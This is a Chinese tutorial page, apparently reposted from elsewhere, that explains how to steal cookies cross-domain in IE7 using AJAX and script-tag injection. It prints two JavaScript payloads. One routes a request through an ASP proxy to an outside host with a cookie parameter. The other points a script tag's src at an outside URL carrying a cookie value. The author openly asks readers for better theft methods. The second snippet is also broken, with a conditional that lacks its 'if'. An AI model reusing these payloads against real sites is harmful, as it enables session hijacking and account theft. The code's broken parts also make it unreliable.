当前位置: 首页 > 图文教程 > 网络编程 > AJAX技术 > ie7下利用ajax跨域盗取cookie的解决办法

AJAX技术
Ajax并不神秘:揭下各种Ajax控件和类库的小裤衩
AJAX技术基础介绍
浏览器跨域获取Lrc歌词数据的解决办法
Ajax Hacks chm文件与源代码 下载
AJAX在Post中文的时候乱码的解决方法
Ajax中要注意的问题
ajax+php中文乱码解决办法
建一个XMLHttpRequest对象池
[js]轻便的XMLHttpRequest应用函数:downloadUrl()
Ajax 无刷新在注册用户名时的应用的代码
发现个AJAX图片浏览器SIMPLEVIEWER
AJAX中同时发送多个请求XMLHttpRequest对象处理方法
Ajax实现无刷新三联动下拉框
Ajax in action 英文版配书源码 下载
ajax视频课件 在线观看地址
强烈推荐 - Ajax 技术资源中心
DWR util.js 学习笔记 整理
Ajax案例集下载:新增分页查询案例(包括《Ajax开发精要》中的两个综合案例) 下载
.NET2.0环境下的Ajax选型和应用(提供Demo源码下载)
AJAX防止页面缓存的代码

AJAX技术 中的 ie7下利用ajax跨域盗取cookie的解决办法


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 33 ::
收藏到网摘: n/a

网上的很多文章提到的利用ajax盗取cookie的代码经我测试不可行。 研究了一下午,第一个难题是ajax跨域提交数据,可以用web代理来解决,http://192.168.8.108上的a.htm代码:
<script>
function getXmlHttpRequest(){
if(window.ActiveXObject){
var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for(var i=0;i<ieArr.length;i++)
{
var xmlhttp= new ActiveXObject(ieArr[i]);
}
return xmlhttp;
} else if(window.XMLHttpRequest){
return new XMLHttpRequest();
}
}
var xmlHttp=getXmlHttpRequest();
xmlHttp.Open("get","http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true);
xmlHttp.send(null)
</script>
其中web.asp是一个asp代理。
这样直接访问http://192.168.8.108/a.htm是可以成功发送数据的。但是在跨站中,假如我们要跨192.168.8.108的站,这样来讲肯定不能让我们放一个web.asp在上边的,所以这种办法不可行。
另外,其它的ie7.0下跨站想盗取cookie一般都会用到iframe标签,在没有研究成功ajax发送的情况下,经过搜索发现了另一种跨站的思路,不需要用iframe来跨域提交,代码:
<script LANGUAGE="Javascript" src="" id="get">
</script>
<script LANGUAGE="Javascript">
<!--
function get(url)
{
var obj = document.getElementById("get");
obj.src = url;
(obj.readStatus == 200)
{
eval(alert("ok"));
}
}
get("http://ruanchen.com/.asp?cookie=12345678")
/*function query()
{
get("http://ruanchen.com/eb/1.img"); //在这里可以写代码,像把alert("ok")里的ok换成变量,1.img 中的代码是var ok="123"
}
//-->
*/
</script>
至于有其它更好的办法,在IE7下能直接ajax跨域盗取cookie的欢迎讨论